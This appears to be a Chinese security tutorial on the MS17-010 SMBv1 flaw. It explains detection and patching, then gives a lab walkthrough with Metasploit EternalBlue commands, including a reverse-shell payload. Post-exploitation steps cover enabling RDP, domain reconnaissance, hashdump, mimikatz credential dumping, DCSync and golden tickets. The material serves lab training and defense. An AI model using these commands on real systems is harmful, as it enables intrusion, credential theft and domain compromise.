1.1ms017-010简介
MS17-010是微软于2017年3月发布的重要安全补丁,修复了SMBv1协议中一个严重远程代码执行漏洞,MS17-010被微软评为Critical(严重)级别。2017年4月,影子经纪人(Shadow Brokers)泄露的NSA武器库中包含该漏洞利用工具“EternalBlue”。一个月后(2017年5月),基于EternalBlue传播的WannaCry勒索病毒全球大爆发。WannaCry勒索病毒会加密用户文件,感染了包括医院、政府机构、企业在内的全球数十万台电脑,造成数百亿美元的直接和间接经济损失,是网络安全史上的标志性事件。紧随WannaCry之后爆发的更具破坏性的恶意软件NotPetya/ExPetr,同样利用MS17-010在内网快速传播,主要目的是破坏数据而非勒索,给全球大型企业(如马士基、默克)造成灾难性打击。
1.1.1漏洞本质与成因
核心缺陷:MS17-010漏洞本质是Windows SMBv1服务器协议驱动(srv.sys)中存在的远程代码执行(RCE)漏洞。
具体原因:漏洞源于SMBv1处理特殊构造的SMB_COM_TRANSACTION2次级命令FEALIST(File ExtendedAttribute LIST)请求时,一个名为srv!SrvOs2FeaListSizeToNt的内核函数存在关键逻辑错误。该函数在将客户端请求中的FEALIST数据结构从OS/2格式转换为Windows NT格式时,未能正确验证其大小。攻击者可以发送一个精心构造的、超长的畸形FEALIST请求。由于缺乏有效的边界检查,会导致内核缓冲区溢出(BufferOverflow)。
利用后果:成功利用此缓冲区溢出漏洞,攻击者能够在目标系统的内核模式(Ring0)下执行任意代码。这等同于获得目标系统的完全控制权(SYSTEM权限),无需任何用户交互或认证。
1.1.2.与SMBv1协议的绝对关联
协议依赖:该漏洞仅存在于SMBv1(Server Message Block Version1)协议的实现中。后续版本 SMBv2(2006年引入)和SMBv3(2012年引入)不受此特定漏洞影响。
利用途径:攻击者通过向目标主机的TCP445端口发送恶意的SMBv1协议数据包来触发漏洞。445端口是Windows文件共享和打印机共享服务的默认端口。
必要条件:目标系统必须启用了SMBv1协议且未安装MS17-010安全更新。
1.1.3.SMBv1协议的状态查看与管理
1.默认启用状态因版本而异
WindowsXP/Vista/7/8/8.1/Server2003/2008/2008 R2/2012/2012 R2:这些较老版本的系统默认安装并启用SMBv1客户端和服务器组件。
Windows10(从1709版本开始)/WindowsServer2016&2019/Windows11:微软出于安全考虑,默认仅安装SMBv1客户端组件(用于访问旧NAS/设备),而SMBv1服务器组件默认是禁用的。这是新系统“不自带”可利用状态SMBv1服务的主要原因。
2.通过powershell查看SMBv1状态
(1)通过powershell查看SMBv1客户端状态
Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol-Client
(1)通过powershell查看SMBv1服务器状态
Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol-Server
输出中的State字段显示Enabled或Disabled。
3.通过控制面板查看
(1)打开“控制面板”->“程序”->“启用或关闭Windows功能”。以Windows11为例,默认是关闭的。
(2)在列表中找到SMB1.0/CIFS文件共享支持。勾选状态表示已安装(可能是客户端、服务器或两者)。
- SMB1.0/CIFS客户端:访问其他SMBv1共享所需。
- SMB1.0/CIFS服务器:允许其他设备通过SMBv1访问本机共享(MS17-010利用所需组件)。
4.命令提示符
sc.exe query lanmanworkstation
reg query "HKLMSYSTEMCurrentControlSetServicesLanmanServerParameters" /v
SMB1值为0表示服务器端禁用(通常),值为0x1表示启用。
1.2ms017-010漏洞扫描及确认
系统版本补丁号 |
KB4012598 |
KB4012212/KB4012215 |
KB4012213/KB4012216 |
Windows XP |
适用 |
||
Windows 7 |
适用 |
||
Windows 2003 |
适用 |
||
Windows 2008 |
适用 |
||
Windows 2008R2 |
适用 |
||
Windows 2012R2 |
适用 |
1.2.1Windows补丁更新情况
1.搜索 KB4012212补丁更新情况
MS17-010 漏洞的官方修复补丁是 KB4012212。登录 Windows Server 2008,打开“控制面板” → “程序” → “查看已安装的更新”搜索以下补丁:KB4012212(针对 MS17-010 的修复补丁)。如果已安装,表示漏洞已修复;如果未安装,表示可能存在漏洞。
1.2.1利用msf中的模块扫描ms17-010
1.单机检测
use auxiliary/scanner/smb/smb_ms17_010
show options
set rhost 192.168.199.131
set rport 445
run
2.c段扫描
如果是基于某c段扫描可以这样设置
set RHOSTS 192.168.1.0/24
set RHOSTS 192.168.2.0/24
1.2.2利用nmap进行扫描
nmap --script=smb-vuln-ms17-010 -p 445 <目标IP>
nmap --script=smb-vuln-ms17-010 -p 445 192.168.199.131
如果存在漏洞则会显示如下信息。
有时候可以先确认445端口是否开放
nmap -Pn 445 192.168.199.131
1.3ms017-010漏洞利用
靶场环境
Windows Server 2008: https://drive.google.com/drive/u/0/folders/19ua9-TqJHEouytTjlxl2iCUYewcjLzVN
password: MS17-010-Exploit-Lab
Administrator/H0opla!
1.3.1搜索ms017-010漏洞
1.获取ms017-010漏洞相关信息
msfconsole
search ms17-010
2.漏洞扫描
靶场IP地址:192.168.199.135
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.199.135
run
3.利用漏洞获取Shell
use exploit/windows/smb/ms17_010_eternalblue # 加载攻击模块
set RHOSTS 192.168.199.135 # 目标IP
set LHOST 192.168.199.128 # Kali攻击机IP(接收反弹Shell)
set payload windows/x64/meterpreter/reverse_tcp # 设置Payload(推荐x64)
run # 执行攻击
4.其他可利用
(1)使用psexec模块
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 192.168.199.135
run
(2)直接执行命令
use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.199.135
set COMMAND net user
show options
run
1.3.2利用ms17-010后渗透
1.开启远程桌面
修改注册表:REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 开启 RDP。
添加防火墙例外规则:netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 允许 3389 端口入站。
2.内网信息收集
ipconfig /all: 获取本机 IP、网关、DNS 等关键网络配置。
arp -a: 查看 ARP 缓存,发现同一网段活跃主机。
net view: 查看同一域或工作组内的其他主机。
3.主机信息收集
systeminfo: 获取系统详细信息(OS版本、补丁、安装时间等),用于评估价值、寻找其他漏洞。
whoami /priv: 查看当前用户权限,寻找提权机会(如 SeDebugPrivilege 可用于注入进程)。
net user / net user [username] / net localgroup administrators: 查看本地用户和组,特别是管理员组成员。
net share: 查看共享资源。
netstat -ano: 查看网络连接和监听端口,发现内部服务、与其他主机的连接。
tasklist /svc / tasklist: 查看运行进程及服务,寻找高权限进程或安全软件。
query user: 查看当前登录用户(用于判断是否有人值守)。
4.域环境探测
net group "domain computers" /domain: 列出域内所有计算机(需要域权限)。
net group "domain admins" /domain: 列出域管理员组成员(关键目标)。
net group "domain controllers" /domain: 定位域控制器。
nltest /dclist:[domainname]: 查询域控制器列表。
dsquery 命令(如果可用):更强大的 Active Directory 查询工具。
5.hashdump获取密码哈希
hashdump
6.使用kiwi模块获取凭证
(1)加载kiwi模块
load kiwi
(2)列举所有明文密码、哈希等
creds_all
(3)列举 Kerberos 凭据
creds_kerberos
(4)列举 MSV 缓存凭据
creds_msv
(5)明文密码
creds_wdigest
(6)通过 DCSync 获取域用户哈希
dcsync_ntlm <域名>
(7)创建黄金票据(Golden Ticket)
golden_ticket_create -d <域名> -u <用户名> -s <NTLM哈希> -k
(8)执行 Mimikatz 原生命令
# 通过 kiwi_cmd 执行 Mimikatz 命令
kiwi_cmd sekurlsa::logonpasswords
1.4漏洞补丁更新
目前网上提供补丁下载的基本找不到了,通过查找资料获取微软提供补丁更新的地址:
https://catalog.update.microsoft.com/Search.aspx?q=kb4012212
可以针对不同的操作系统进行补丁升级即可。
原文始发于微信公众号(小兵搞安全):ms017-010漏洞扫描及安全检查
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论